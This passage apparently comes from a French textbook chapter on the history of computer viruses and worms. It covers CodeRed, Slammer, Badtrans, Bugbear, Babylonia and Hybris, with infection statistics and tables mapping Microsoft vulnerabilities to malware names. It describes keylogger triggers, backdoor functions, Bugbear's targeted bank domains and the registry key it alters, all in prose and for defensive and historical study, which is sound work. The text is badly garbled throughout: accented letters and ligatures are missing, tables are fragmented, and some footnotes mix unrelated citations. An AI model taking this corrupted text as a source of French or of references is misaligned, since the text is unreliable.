Lintrt de ces chiers binaires sexplique par le fait quun code unique peut intgrer diverses techniques dinfection tout en distribuant, en sus, des outils de piratage qui aideront son auteur poursuivre ses projets. Au l des mois, le nombre des entreprises remontant leurs alertes vers le CLUSIF a peu vari. Leurs statistiques mensuelles ont t transmises sans la moindre discontinuit. Cette rigueur permet de dater la premire perce des mass-mailers dans la vie quotidienne. Il sagit de mai 2001. La gure 10.7 nous montre aussi que malgr les progrs de nos anti-virus et ceux des procdures de scurit mises en uvre, des intrus sans complexit particulire et non innovants ont toujours su tromper la vigilance.
265
Jusqu la n 2003, en priode de crise, environ 140 e-mails sur 10 000 (1,4 %) sont infects. Ce nombre est divis par 2 en priode normale. Larrive de Mydoom marque le dbut dune seconde poque. Apparu en n de mois, le virus fait nanmoins exploser les compteurs. Selon certaines sources le taux de mails infects dpassa un moment les 30 %1. Liss sur un mois, il se limite 3,5 %.
Aujourdhui Mydoom appartient au pass mais les utilisateurs de linformatique semblent toujours aussi crdules et vulnrables. Au mois de juin 2004, les statistiques semblaient montrer quen France 21 % des e-mails lentre des messageries des grandes entreprises taient lis la propagation virale.
266
Si le pourcentage de courriels infects ne cesse de crotre alors que les entreprises sestiment bien protges et indiquent des faibles cots au regard des attaques virales, cest que les virus actuels expdient normment plus de-mails depuis une seule adresse IP dorigine que par le pass. Cest aussi parce que le double-clic inconsidr reste monnaie courante chez bon nombre de particuliers. Ils ne protgent pas correctement leurs stations personnelles et sont les principales victimes et les principaux pollueurs. Ce pourcentage suprieur 20 % est nanmoins surprenant ; il ma tonn moimme et, alors que je terminais la rdaction de ce livre. Jai donc interrog certaines grandes socits qui mont alors fourni leurs statistiques : la premire socit ne ma fourni quune estimation globale : entre 7 et 9 % tout au long de lanne, la seconde confirm mes chiffres sans me fournir ses propres statistiques, 4 socits mont fourni des statistiques : 2 aprs filtrage des extensions. 2 avant filtrage.
Ce rsultat amne deux commentaires. Le premier concerne la technique de ltrage amont des extensions. Elle est plus ou moins efcace selon les socits. Certaines dentres-elles devraient sans doute revoir la liste de leurs extensions interdites. Si cette technique est mene de manire stricte, elle semble correctement isoler lentreprise. Si elle est laxiste, le ltrage devient vite illusoire. En second lieu, ces courbes conrment les statistiques mises par le CLUSIF : les mass-mailers circulent foison. Ils rentrent difcilement dans les entreprises (nos statistiques concernent des interceptions de virus, pas des infections) mais sont innombrables sur le NET. Ils sont sans aucun doute en provenance des particuliers qui ngligent les rgles de base en matire de scurit et qui, du fait de lADSL, restent connects 24h sur 24.
267
Notons enn lapparition depuis la n 2003 des programmes de type robots quon rencontre de plus en plus frquemment. Les concepteurs danti-virus intgrent chaque jour dans leurs bases des dizaines de ces programmes connus sous les noms de Spybot, Gaobot et autres Sdbot Ces derniers venus sont eux mme des vers propagation lente. Chaque variante est cre dans un but prcis. Si vous ou votre entreprise tes cibls, vous seuls en possdez la souche. Une fois sur votre machine, ils attendent des ordres venant dun serveur distant. Ils capturent de linformation, participent depuis chez vous des attaques groupes (DDoS) et servent de relais de spamming, de phishing, dadwares et de spywares. Leur dure de vie est courte, cest leur nombre qui fait leur force. Ils sont crs, ils sont distribus an de crer un botnet et rapidement utiliss. Ils attendent dtre sollicits par leur concepteur ou par ceux qui louent leurs services. Certains outils commerciaux douteux sen servent comme intermdiaires.
10.3.1 CODERED
En juin 2001, 6 millions de sites web de par le monde utilisaient Microsoft Internet Information Server1. Principal concurrent dApache (18,5 millions de sites grs), IIS, permet le partage des informations, la cration et la publication dapplications, lhbergement et la gestion des sites. Ce mme mois, dimportantes failles sont dcouvertes. La socit eEye spcialise dans la scurit, et diteur dune solution pare-feu logicielle ddi IIS dcou-
268
vre lune dentres elles1. Elle alerte Microsoft sur un problme de dpassement de capacit de la mmoire tampon. Celui ci reconnat le dfaut et propose un correctif2. Comme lhabitude, ce furent surtout les auteurs de virus qui portrent attention cette faille. Ils imaginrent un nouveau ver. Inject le 12 juillet, les premiers indices de sa prsence apparaissent le lendemain3. Ltude du code dmontre les spcicits du ver : La propagation se fait exclusivement en mmoire vive ; aucun code nest crit sur le disque dur. Cest au travers du flux HTTP que la dtection doit avoir lieu. Du 1 au 19 du mois, le ver gnre alatoirement une liste dadresses IP et envoie vers celles-ci des rpliques de lui mme par le port TCP/IP 80. Entre le 20 et le 27 du mois, le ver lance une attaque du type dni de service distribu (DDoS) lencontre du site Internet de la Maison Blanche. Du 28 la fin du mois, le ver est inactif. Le gnrateur dadresse est simpliste (valeur de dpart xe) et la propagation du virus sen trouve affecte. Le 19 juillet 2001, une variante B apparat avec un nouveau gnrateur dadresses IP. Celui ci utilise une adresse de dpart alatoire. En consquence, chaque ordinateur infect est suppos atteindre des sries de cibles diffrentes. Cest une modication qui change tout : plus de 350.000 machines seront infectes en 13 heures. Selon les tudes le seuil des 300.000 machines est atteint en 4 heures4 ou en 9 heures5. Alors que des ralentissements et des arrts systme sporadiques commencent se faire sentir, la date du 20 est atteinte et linfection sarrte avec ces chiffres. Plusieurs animations ont t produites pour montrer la rapidit de propagation de CodeRed. Jeff Brown, de CAIDA/UCSD (University of California, San Diego) en propose une qui retrace linfection du 19 juillet de 5 minutes en 5 minutes6.
1. EEYE (juin 2001), All versions of Microsoft Internet Information Services Remote buffer overow. (SYSTEM Level Access). http://www.eeye.com/html/Research/Advisories/AD20010618.html. 2. MS01-033 : Unchecked Buffer in Index Server ISAPI Extension Could Enable Web Server Compromise [MS01-033]. 3. MAIFFRET, Marc, (juillet 2001), Full analysis of the .ida "Code Red" worm. http://archives.neohapsis.com/archives/ntbugtraq/2001-q3/0016.html. 4. CAIDA, Cooperative Association for Internet Data Analysis (juin 2002). CAIDA Analysis of Code-Red. http://www.caida.org/analysis/security/code-red/. 5. SANS, SysAdmin, Audit, Network, Security Institute (2001). Practical Assignment for SANS GSEC Version 1.2E Code Red Worm Invasion. Sharon Bristow. http://www.sans.org/rr/paper.php?id=93. 6. BROWN Jeff, (Juin 2001). Animated gif of geographic spread of Code-Red worm, http:// www.caida.org/analysis/security/code-red/newframes-small-log.gif.
269
10.3.2 SLAMMER
Un an et demi aprs Codered, apparat Slammer. Les leons apprises nont pas vraiment servi. Le patch de scurit bloquant la faille utilise tait connu depuis juillet 20021. De nombreuses machines taient vulnrables : elles navaient reu ni le patch, ni le service pack 3 pour Microsoft SQL 2000 et Microsoft Desktop Engine 2000. De par sa conception, Slammer gnra des arrts de service en exploitant les faiblesses de larchitecture rseau et des protocoles (attaque en dni de service distribu
1. MS02-039 Buffer Overruns in SQL Server 2000 Resolution Service Could Enable Code Execution.
270
DDoS). Tout comme la premire version de CodeRed en juillet 2001, sa propagation se t exclusivement en mmoire vive. Aucun code viral ne fut crit sur le disque dur. Cest au travers du port de service UDP 1434 que le ver envoya sa trame de donnes. Une fois la machine compromise, le ver cherchait se rexpdier via ce mme port vers des sries dadresses IP quil gnrait alatoirement au travers dune boucle innie. Consommant ainsi de plus en plus de bande passante, il en rsulta un ralentissant du trac allant mme jusquau blocage dans certaines zones du WEB. Lattaque dbuta le samedi 25 janvier 2003 5h30 GMT1. En 3 minutes, Slammer avait atteint son niveau maximal dactivit en effectuant 55 millions de scans la seconde. En thorie, les spcialistes estimrent quune machine infecte ayant un accs 100 Mb aurait t mme deffectuer 30.000 scans la seconde. En 10 minutes, 90 % des machines vulnrables taient atteintes et le niveau dactivit du ver baissa faute de bande passante sufsante. Selon les sources cest entre 75.000 et 350.000 machines qui furent infectes2. Le chiffre le plus lev est sans doute le plus probable. Limpact le plus important a t rencontr en Core du Sud ds le dbut de lattaque3. Le mardi suivant, le rseau de la poste italienne subit son tour dimportants blocages qui entranrent de graves disfonctionnements dans ses 14.000 agences4. Dautres pays tels que les tats-Unis, lAsie du Sud Est, le Japon et lInde ont eux aussi t fortement touchs. Lune des consquences du ver fut lindisponibilit de 5 des 13 serveurs de noms DNS5. Avec Slammer, nous semblions aussi assister une recherche doptimisation dans la taille du code. Nimda pesait 60 kilo-octets, CodeRed, 4 kilo-octets alors quici Slammer se limitait 376 octets.
1. CAIDA, (2003), Analysis of the Sapphire Worm A joint effort of CAIDA, ICSI, Silicon Defense, UC Berkeley EECS and UC San Diego CSE. http://www.caida.org/analysis/security/sapphire. 2. SECURITYFOCUS (11 juin 2003), Antivirus industry steamed over virus article, college class. http://www.securityfocus.com/news/5698 SECURITYFOCUS, (15 aot 2003), Blasters Microsoft Attack Fizzles. http://www.securityfocus.org/news/6736. 3. COMPUTER WORLD (27 fvrier 2003), Local networks unscathed by Slammer virus, Computers & Security, Volume 8 N4 (1989), pp 325-344. http://www.phangnaughton.com/sophos_clippings/feb03/phil/022703CW.pdf 4. AFP, (2003), Italy hit by serious Internet attack. http://www.metimes.com/2K3/issue2003-5/reg/italy_hit_by.htm. 5. SEARCHSECURITY, (25 janvier 2003), Update: SQL worm slows Internet; some root DNS servers down. http://www.metimes.com/2K3/issue2003-5/reg/italy_hit_by.htm.
271
La rapidit de propagation fut aussi un point fort de cette histoire. Des experts ont nanmoins dcouvert plusieurs faiblesses dans son gnrateur alatoire. Celles ci ont entran un dcit de qualit dans la distribution des adresses IP servant de base la gnration des adresses cibles. Certains sattendent donc dautres propagations encore plus explosives et dangereuses dans un futur plus ou moins proche. Il faut enn se rjouir de labsence de charge nale (payload). Si un module de destruction quelconque avait t associ au ver, les dgts auraient pu savrer catastrophiques.
272
Il serait fastidieux de lister lensemble des vulnrabilits qui peuvent, ou qui pourraient permettre un virus de se propager ; il y en a plusieurs centaines. Les principales ont dj t cites dans le chapitre ddi aux vers. Elles sont, pour la plupart, rappeles dans le tableau prsent plus avant dans ce paragraphe. Limportance du phnomne dest plus dmontrer. Le nombre de vulnrabilits augmente, le nombre dexploits aussi. La facilit de propagation de W32/Lovsan.A.worm prouve quil reste bien du chemin parcourir.
Figure 10.13 Seul une alerte majeur incite les utilisateurs appliquer les patchs
Exemple de W32/Lovsan.worm
Tableau 10.2 Principales vulnrabilits lies lenvironnement Microsoft RFRENCE MICROSOFT MS99-001 DSIGNATION DE LA VULNRABILIT Exposure in Forms 2.0 TextBox Control that allows data to be read from users Clipboard Word 97 Template Taskpads Scripting Vulnerability DHTML Edit Vulnerability Scriptlet typelib /Eyedog IFRAME ExecCommand Active Setup Control Vulnerability VM File Reading Vulnerability QUELQUES EXEMPLES W97M/Footprint
W97M/ATU.A Active-X hostile Active-X hostile JS/Kak@M VBS/Bubbleboy@MM AX/Frame-Exploit Active-X hostile Java hostile
273
DSIGNATION DE LA VULNRABILIT Office 2000 UA Control Scripting HTML Help File Code Execution Relative Shell Path Microsoft VM ActiveX Component Web Server Folder Traversal
QUELQUES EXEMPLES VBS/Davinia@MM AX/OUA-Exploit W32/Blebla.B@MM VBS/Exploit-AM W32/CodeRed.C.worm (Trojan) VBS/Loding.A@MM W32/Korvar@MM SunOS/BoxPoison (aspect gachette) W32/Nimda.A@MM Java hostile Malformed vCard Exploit W32/Fever@M W32/Nimda@MM W32/Badtrans@MM W32/Klez@MM W32/Yaha@MM W32/Frethem@MM W32/Lirva@MM W32/Bugbear@MM W97M/Gogaru.A W32/CodeRed.A.worm
New Variant of VM File Reading Vulnerability Outlook, Outlook Express VCard Handler Contains Unchecked Buffer Incorrect MIME Header CAN-2001-0154
MS01-028 MS01-033
Dunod La photocopie non autorise est un dlit
RTF document linked to template can run macros without warning Unchecked Buffer in Index Server ISAAPI Extension Could Enable Web Server Compromise (superseded by MS01-044) Outlook View Control Exposes Unsafe Functionality Cumulative Patch for IIS Cumulative Patch for Internet Explorer XMLHTTP Control Can Allow Access to Local Files Cumulative Patch for Internet Explorer SQL Server UDP Buffer Overflow Remote Exploit
274
DSIGNATION DE LA VULNRABILIT Cumulative Patch for Internet Explorer Unchecked Buffer in Locator Service Could Lead to Code Execution Security Update for Microsoft Windows Flaw in Windows Script Engine Could Allow Code Execution Flaw in Microsoft VM Could Enable System Compromise (816093) Cumulative Patch for Outlook Express Buffer Overrun In RPC Interface Could Allow Code Execution
QUELQUES EXEMPLES JS/Exploit-DialogArg W32/Gaobot.AA.worm W32/Nachi.worm JS/Exploit-MS03-008 Exploit-Byteverify W32/Mimail@MM W32/Blaster.worm W32/Lovsan.worm W32/Nachi.worm IRC/Rootbot W32/Plexus.A@MM VBS/Inor & Downloader-ED Exploit-MS03-032.dr W32/Raleka.worm W32/Gaobot.AA.worm W32/Dinkdink.worm W32/Stdbot.worm Qhost-1 Exploit-MS03-043 Exploit-MS03-049 Exploit-MS03-051
MS03-032 MS03-039
Cumulative Patch for Internet Explorer Buffer Overrun In RPCSS Service Could Allow Code Execution
Cumulative Patch for Internet Explorer (828750) Buffer Overrun in Messenger Service Could Allow Code Execution Buffer Overrun in the Workstation Service Could Allow Code Execution Buffer Overrun in Microsoft FrontPage Server Extensions Could Allow Code Execution Cumulative Security Update for Internet Explorer (832894) Cross-Domain Vulnerability Drag-and-Drop Operation Vulnerability Improper URL Canonicalization Vulnerability
MS04-004
MS04-007
275
QUELQUES EXEMPLES W32/Gaobot.worm W32/Sasser.worm W32/Cycle.worm W32/Bobax.worm W32/Stdbot.worm W32/Wallon.worm.A Exploit-MhtRedir.gen HTool/Exp-MS04-028 HTool-Exp.MS04-032!gdi W32/Golten.A Exploit-HelpZonePass JS/Exploit-HelpXSite Exploit-LoadImgAPI Exploit-ANIfile Exploit-PNGfile
Cumulative Security Update for Outlook Express (837009) Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution Graphics Rendering Engine Vulnerability CAN-2004-0209: Vulnerability in HTML Help Could Allow Code Execution (890175) Vulnerability in Cursor and Icon Format Handling Could Allow Remote Code Execution (891711) Vulnerability in PNG Processing Could Allow Remote Code Execution (890261)
MS05-009
Mme sil est souvent accus, Microsoft nest pas le seul reconnatre et corriger des dciences lies ses produits. Les autres environnements et certains de leurs applicatifs sont galement vulnrables un instant donn. Comme le montre le tableau suivant, la seule consultation des encyclopdies virales est l pour en donner un large chantillon.
Tableau 10.3 Nombre approximatif de vulnrabilits cites dans lencyclopdie virale McAfee PLATEFORME AVIRT Mail Server AX VULNRABILITS CITES Moins de 10 Moins de 10 QUELQUES EXEMPLES Exploit-AVBO Avirt 3.3a Bubber Overflow AX/CHM-Exploit BackDoor-FB.svr Display Pentium3 ID AX/CPU-Thief Exploit-Badblue Remote exploit for Badblue 1.5 BSD/Exploit-Autofsd BSD/Scalper.worm
Moins de 10 Moins de 10
276
QUELQUES EXEMPLES W32/Witty.worm ISS/PAM ICQ module vulnerability Exploit-CGE Cisco Global Exploiter Exploit-CIOS.src IOS vulverability Exploit-Ciskill Exploit-CIM Rot Dot Dot Bug Exploit-GkWarez Exploit-Hotmail HTML/CrashIE Exploit-IIS.Crack IIS 5.0 exploit Exploit-IIS.Hack Buffer overflow IIS malformaed URL Tool-SyaPowa Exploit-IIS.NulPrint Null print Exploit Exploit-IIS.Print Print Overflow / IIS 5.0 Exploit-IIS.Unicode Unicode/Encode vulnerability Exploit-IRC.Slap JS/Exploit-ICQ.SCM W32/Bizex.worm JS/Exploit-IndexRun JS/Exploit-Linkiller JV/Exploit-XMLhttp Linux/Slapper Buffer Overflows in OpenSSL (CAN2002-0656) Linux/Exploit-CrisCras (CERT Incident ssh1 crc-32 compensation) Linux/Exploit-Honeymoon (CERT advisory CA-2001-33 Multiple Vulnerabilities in wu-ftpd) Linux/Exploit-Lsub (imapd Remote Exploit using Buffer Overflow) Linux/Exploit-SendMail (CERT Advisory CA-2003-07 Remote Buffer Overflow in Sendmail)
IRC JS
Moins de 10 Plus de 50
JV LINUX
Moins de 10 Plus de 50
277
QUELQUES EXEMPLES LNK/Exploit-VortLink OTF/Exploit-Restart OTF/Exploit-Restart PERL/PBO-Exploit Printer Buffer Overflow PERL/WSFT-Exploit Web Server Folder Transversal PHP/Exploit-Apache PHP/Exploit-IIS Exploit-phpBB PHP/Exploit-SafeMode Exploit-Sadmind.demo CVE-1999-0977 Sun Security Bulletin #00191 / Solaris sadmind Buffer Overflow Vulnerability) SunOS/Exploit-Cmsd SunOS/Exploit-Ttdbsrv UNIX/Exploit-Aix5L UNIX/Exploit-HPUX UNIX/Exploit-Melange UNIX/Exploit-Samba UNIX/Sorso.worm Exploit-Ansi Exploit-Jbellz Exploit-Njob Exploit-RootBug Exploit-Shellcode Exploit-SolGetSu Exploit-Beavuh VirusWall NT 3.23/3.3 Exploit-Jill
PHP
Moins de 10
SOLARIS SunOS
Moins de 10 Moins de 10
UNIX
Plus de 100
UNIX like
Plus de 25
VIRUSWALL
Moins de 10
278
Dans ce cas prcis, la porte drobe utilisait une vulnrabilit de Windows 2000 intitule Relative Shell Path Vulnerability et rfrence comme MS00-052. Parfois nomme Trojan.VirtualRoot, celle ci peut permettre un utilisateur malintentionn de crer de nouveaux rpertoires racine dans une conguration dIIS et dexcuter le code de son choix ds quun autre utilisateur sy connecte. Cette association entre virus et outils de piratage est une autre tendance marquant notre poque. Longtemps le monde du hacking sest diffrenci de celui des auteurs de virus. Mais aujourdhui, de nombreux exemples apparaissent ou les virus diffusent des outils mme de vulnrabiliser le systme et de briser la condentialit des documents quil renferme. Socket23 en 1998 (alias W32/Cheval, Win32/HLLP.DeTroie) et W95/Kuang en 1999 (alias W95/Weird) furent les pionniers. En 2001 plus dune dizaine de virus transportaient ou contenaient une porte drobe ; on en notait une trentaine en 2002. Il y en a maintenant plusieurs centaines chaque anne. Citons parmi eux : W32/MyParty.A@MM (janvier 2002). W32/Zoec@MM (juin 2002). W32/Lovgate.C@MM (fvrier 2003). W32/Deloder.worm (mars 2003). W32/Deborm.worm.q (mars 2003).
Les virus W32/Bugbear.@MM que nous retrouverons plus en dtail dans la suite de ce chapitre possdent galement une porte drobe. Une fois connect sur la machine infect, le pirate tait mme de : capturer les informations lies la machine infecte, tlcharger des fichiers, lancer un excutable, dtruire des fichiers, lister et stopper les processus en mmoire, dmarrer le renifleur de clavier, dmarrer le serveur http sur un port particulier.
Les gures suivantes issus de lencyclopdie F-Secure prsentent linterface HTTP ainsi mise en place1.
279
par W32/Bugbear.B@MM
par W32/Bugbear.B@MM
280
281
Tout comme pour les portes drobes, la tche premire est lintroduction et le lancement de loutil dans la machine corrompue. L aussi les pirates informatiques ont compris que le virus pouvait leur tre un partenaire de choix. Lexemple de W32/Badtrans.B@MM en est un parfait exemple. Dans ce cas prcis, loutil implant sapparente en fait un renieur de clavier. Ce virus a t dcouvert en novembre 2001. Associ un envoi massif de mails, il dpose et active son cheval de Troie (PWS-Hooker.dll) an denregistrer certaines frappes de lutilisateur. Chaque seconde, le programme analyse lintitul de la fentre active la recherche des chanes de caractres LOG, PAS, REM, CON, TER et NET qui forment le dbut des mots anglais LOGon, PASsword, REMote, CONnection, TERminal et NETwork. Des squences correspondantes ces mme mots en langue russe sont aussi prsentes dans le code ; elles nous dvoilent peut-tre ainsi le pays dorigine du virus ? Si lun des mots est intercept, lenregistrement des frappes clavier est activ pour 60 secondes et le chier constitu est automatiquement envoy comme pice jointe dun message destination dune adresse choisie dans une liste prtablie1. Lun des serveurs SMTP vers lesquels des messages taient rexpdis fut mail.monkeybrains.net. La presse se t lcho de la demande que le FBI2 effectua auprs de ce fournisseur daccs amricain. Il cherchait rcuprer les donnes dtournes par le virus vers ladresse suck_my_prick@ijustgotfired.com (sic !). Le compte fut dsactiv, mais le fournisseur daccs (monkeybrain.net) semble avoir refus de livrer les informations3. En septembre 2002 et en juin 2003, les versions A et B de W32/Bugbear@MM, variantes de Badtrans, reprenaient plusieurs tendances releves depuis 2001. Outre la routine dexpdition par courrier lectronique : Elles se propageaient au travers des rseaux locaux partags en droit daccs dcriture. Elles installaient sur la machine un outil renifleur de clavier. Elles mettaient en place une porte drobe (port 36794, variante A port 1080, variante B). Elles portaient atteinte la confidentialit des donnes en rpondant aux messages prsents dans la boite de rception tout en choisissant un destinataire autre que lexpditeur convenu. Elles semblaient tre capable de re-expdier en tant que corps de message des parties de textes relevs sur la machine infecte.
1. FERRIE, Peter & SZOR, Peter (fvrier 2002), Bad Transfer, Virus Bulletin, fvrier 2002, pp 89-10. 2. FBI : Federal Bureau of Investigation. 3. SAIZ, Jrme (dcembre 2001), Les donnes drobes par le virus BadTrans intressent le FBI. http://www.01net.com/rdn?oid=171867&rub=2135.
282
W32/Bugbear.B@MM contenait galement une longue liste de domaines lis aux activits bancaires1. Il nous faudrait plusieurs pages pour lister ici les centaines de sites concernes. Jai retenu ici les quelques banques franaises cibles par le virus :
banquepopulaire.fr, bics.fr, bpic.fr, bpnord, frbred.fr, ca-alpesprovence.fr, ca-alsace-vosges.fr, ca-midi.fr, ca-normand.fr, ccf.fr, cin.fr, covefi.fr, cpr.fr, credit-agricole.fr, credit-du-nord.fr, creditlyonnais.fr, creditmutuel.fr, caisse-epargne.fr, eurocardmastercard.tm.fr, nxbp.fr, smc.fr, transat.tm.fr.
Au dmarrage de la machine, si celle-ci appartient lun des domaines cits plus haut, la cl de registre responsable du processus de numrotation automatique est dsactive :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ InternetSettings "EnableAutodial" = 00 00 00 00
Le virus recherche alors les mots de passe prsents dans la mmoire cache et les envoient une adresse prdnie choisie alatoirement dans une liste. Une fois ce travail effectu, il restaure la cl de registre. Ce processus rend particulirement vulnrable ces machines qui, rappelons-le, ont galement une porte drobe mise la disposition du pirate par le virus. Rcemment, dautres virus se sont intresss la collecte de mots de passe lis aux activits bancaires. Certains virus de la famille W32/Mimail@MM sen font une spcialit. W32/Mimail.I@MM prsente lutilisateur infect une fentre qui imite celles proposes par le service de paiement scuris PayPal. Il cherche ainsi extorquer le code secret des cartes bancaires pour lenvoyer par courrier lectronique des individus qui pourraient ensuite sen servir.
Figure 10.16 cran prsent par le virus W32/Mimail.i@MM 1. ENCYCLOPEDIE NAI, W32/Bugbear.b@MM. http://vil.nai.com/vil/content/v_100358.htm.
283
Lintrt dune telle collecte dinformations devient vite obsolte. Une fois leffet de surprise pass, le virus perd sa raison dtre. Dans la plupart des cas, les sites miroirs ou adresses mails ddis la rception des informations captures sont vite reprs et ferms. Les auteurs envisagent alors une nouvelle version, quils esprent plus performante. An dviter de fcheuses interfrences entre leurs diverses crations, ils dcident eux-mmes de la dure de vie de chacune dentres elles. Lun des exemples est W32/Sobig@MM. Ce virus et ses variantes a fait lobjet dune tude complte par le LURHQ Threat Intelligence Group ; jen conseille fortement la lecture1.
Tableau 10.4 Les dates de fin de propagation des variantes de W32/Sobig@MM Variante A B C D E F Date de dcouverte 9 janvier 2003 18 mai 2003 31 mai 2003 18 juin 2003 25 juin 2003 18 aot 2003 Date de fin de vie programme absente 31 mai 2003 8 juin 2003 2 juillet 2003 14 juillet 2003 10 septembre 2003
284
Tout cela nest aujourdhui que de la science-ction ; nanmoins, et pour mieux se propager, les virus actuels cherchent communiquer pour leur propre compte. Le brsilien Vecna, ancien membre du groupe 29A, la dmontr avec deux de ses virus. Le 3 dcembre 1999, W95/Babylonia@M fut trouv dans le groupe de discussion alt.crackers sous forme dun chier daide intitul serialz.hlp1. Ce chier tait suppos contenir plus de 17000 numros de licence pour logiciels non enregistrs ; il nen tait rien ! Louverture du chier, initialisait la propagation du virus, via la messagerie lectronique (protocole SMTP) et, sur le systme local. Un chier de 4 kilo-octets BABYLONIA.EXE tait copi dans la racine C:\. Par cette porte drobe, le virus tentait de se connecter priodiquement au Japon sur lun des sites de lauteur an desprer pouvoir se mettre jour et changer ses caractristiques. Quatre modules additionnels (plug-ins) au moins furent ainsi diffuss : DROPPER.DAT pour rinstaller le virus aprs une dsinfection incomplte. GREETZ.DAT pour afficher un message compter du 15 janvier :
W95/Babylonia by Vecna (c) 1999 Greetz to RoadKil and VirusBuster Big thankz to sok4ever webmaster Abracos pra galera brazuca!!! --Eu boto fogo na Babilonia!
IRCWORM.DAT pour une propagation via les canaux mIRC2. POLL.DAT pour informer par e-mail lauteur du virus afin quil puisse comptabiliser les infections. La fermeture des pages incrimines fut plusieurs fois demande au fournisseur de service Internet hbergeant les pages personnelles de Vecna. Le 8 dcembre, les chiers furent indisponibles. Et Vecna crivait sur sa page daccueil :
The "BABYLONIA" which now spreading knock the world . Surely.i admit "This virus make use of SOK4EVER". Our Plicy is not "Do many people harm" but " Freedom Of Speech" but.its activity doesnt match my plicy.i never plan to "do harm" so i delete this account immidiately. "http://sok4ever.zone.ne.jp/vecna" doesnt exist anymore. i made this site for "someone who want to know Virus Infomation can easily find " Of cause All of this site contens are for Your Own Risk! and i dont hava any responsibility whatever you suffer.
1. VAN OERS, Marius (fvrier 2000), Digital Rivers of Babylonia. Virus Bulletin, fvrier 2000, pp6-7. 2. mIRC : dialogue en direct sur lInternet Relay Chat.
285
Environ un an plus tard en septembre 2000, Vecna diffusait W32/Hybris@MM1. Lide de ce virus lui vint juste aprs la diffusion de Babylonia, alors quil constatait ses dpends que pour bloquer les mutations, il sufsait de fermer le site initiateur. Tout comme son prdcesseur, Hybris arrivait par mail sous la forme dune pice jointe. Son excution entranait son installation. Selon les cas (en fonction des plugins associs), le virus afchait une spirale ou un cercle noir; il pouvait aussi entraner linaccessibilit certains sites anti-virus du commerce. Ayant perfectionn son ide initiale le virus utilisait un forum de discussion pour y trouver les modules recherchs. Vecna avait choisi pour cela un forum non modr et trs couru : alt.comp.virus. Les modules rcuprs taient crypts et signs par le biais dun algorithme du type RSA avec une cl prive de 128 octets. Le virus, contenant la cl publique associe, tait mme de naccepter que des composants signs et reconnus. Trs vite, une trentaine de modules furent dtects et lon nota les comportements suivants: affichage dune spirale, insertion dune copie du virus dans les archives ZIP et RAR, interdiction daccs certains sites anti-virus, recherche, depuis le PC infect, dordinateurs contenant le cheval de Troie SubSeven pour distribution du virus ces machines, codage polymorphique du virus avant son envoi par mail, infection des fichiers EXE locaux, tlchargement dautres plug-ins depuis des pages WEB hberges au Vietnam (site ferm le 20 novembre 2000).
From: Use-Author-Address-Header@[127.1] Subject: i_rz D[CZ CzSjaLenCO Newsgroups: alt.comp.virus View: (This is the only article in this thread) | Original Format Date: 2000-12-10 23:13:40 PST IMGDDNFKFBKCHDMJILRGJGIGHFDJKIPHGOHGFFMHGJNBIPEIMPMPQHELCBROHKIOQN GNINOZNMDEIJPEIOIDQLHBQBMZFHDZCEJBRJEHNPDHJLIKFGGGDKFZCKJCOFPDMIGP HGQJHJCGFFHBQKJMONHIFNDILMLJKZPGFJLMIKHGEZIBFIGOROFPHICZONRJEEOCGZ MJPZCJMJLMOIPFFZCJPDLGCONHLGOMKDOKIHQDIPOZHICZDEGDPHPZRBFEDJPEEDFL FJNKENROQJGCNZGNJKJGIPHPCDKZNKOLFGEBPHEZLOPDOIQZMERJFGFFKOIHCLCFMD [continues].... [more coded lines] GNCMRENJDFJZNNGJMBREKOINQPMD ****
Figure 10.17 Exemple de message destin Hybris et disponible sur alt.comp.virus 1. NIKISHIN, Andy (janvier 2001), Harnessing Hybris, Virus Bulletin, janvier 2001, pp6-7.
286
Un autre module expdiait des e-mails avec une pice jointe dun nom laissant souvent sous-entendre un caractre pornographique (exemple : sexynain.scr). Lexpditeur semblait tre :
From: Hahaha <hahaha@sexyfun.net>
Il sagissait dun nom usurp et les propritaires du domaine sexyfun.net ragirent immdiatement cette mise en cause. Le sujet et le corps du mail taient variables. Les franais retiendront :
Les 7 coquins nains Blanche neige et les sexe nains
287
lun de ces partages rseaux pourra se trouver infecter au travers de la prvisualisation de lexplorateur Windows. travers les serveurs Microsoft IIS vulnrables : la mthode utilise nest pas reprise de CodeRed mais de W32/CodeBlue (dcouvert le 7 septembre 2001)1. Le ver active une session temporaire TFTP sur la machine infect afin de se transmettre sur la machine vulnrable. travers des consultations Web : le petit script install dans les fichiers HTML des serveurs compromis permet la transmission du virus sur la machine qui visualise ces pages. travers lexploitation danciennes portes drobes laisses par W32/CodeRed.C.worm. louverture de fichiers RTF (Rich Text Format) : ces fichiers sont grs par la DLL, RICHED20.DLL. Le virus ayant cras cette DLL avec son propre code, chaque ouverture dun document RTF par Word ou Wordpad se solde par lexcution du code viral.
Ds 1999, certains chercheurs annonaient la venue prochaine dun tel virus exploitant de nouvelles techniques pour se propager au travers de lInternet. Eugne Kaspersky indiquait dans un article du Virus Bulletin de fvrier 1999 tous les dtails de dune telle infection2. Il prsentait un fonctionnement en trois tapes : Pntration de la machine locale depuis Internet (via la messagerie ou une page Web). Infection du rseau local. Retour vers Internet (via la messagerie, un serveur Web ou lInternet Information Server (IIS de Microsoft). Deux ans aprs, les prdictions se ralisaient
1. Il sagit de la vulnrabilit MS00-078 connue sous le titre de Web Server Folder Traversal Vulnerability. Codered utilisait la vulnrabilit MS01-033. 2. Kaspersky Eugne (1999), Viruses and the Internet Whatever Next ?, Virus Bulletin. Fvrier 1999. pp 14-17.
288
Sur ces rseaux, on retrouve en premier lieu des virus ddis. Il en existe des milliers que les anti-virus dtectent gnralement de manire gnrique (W32/Generic !p2p). Ils diffusent les outils dattaque et despionnage que nous prsentons tout au long de ce chapitre ; il sagit principalement de portes drobes et de renieurs de clavier ou de mot de passe. Viennent ensuite les robots ; nous en dtaillerons le fonctionnement un prochain paragraphe. Ils compltent le travail des prcdents dispositifs dattaque et permettent une utilisation distance des ressources de la machine des ns criminelles. Mme si la plupart dentre eux sont pilots via des canaux IRC, quelques autres sont directement contrls via les rseaux P2P eux-mmes. Les mass-mailers sont les troisimes htes privilgis des rseaux peer to peer. Alors que le public trop tendance ne les voir quau contact des messageries lectroniques, ceux ci possdent souvent des mcanismes de recherche de rpertoires partages ou ils sy inltrent sous des noms dempreint pour mieux se propager. Les nombreuses variantes de W32/Bagle@MM sont particulirement efcaces dans ce domaine.
289
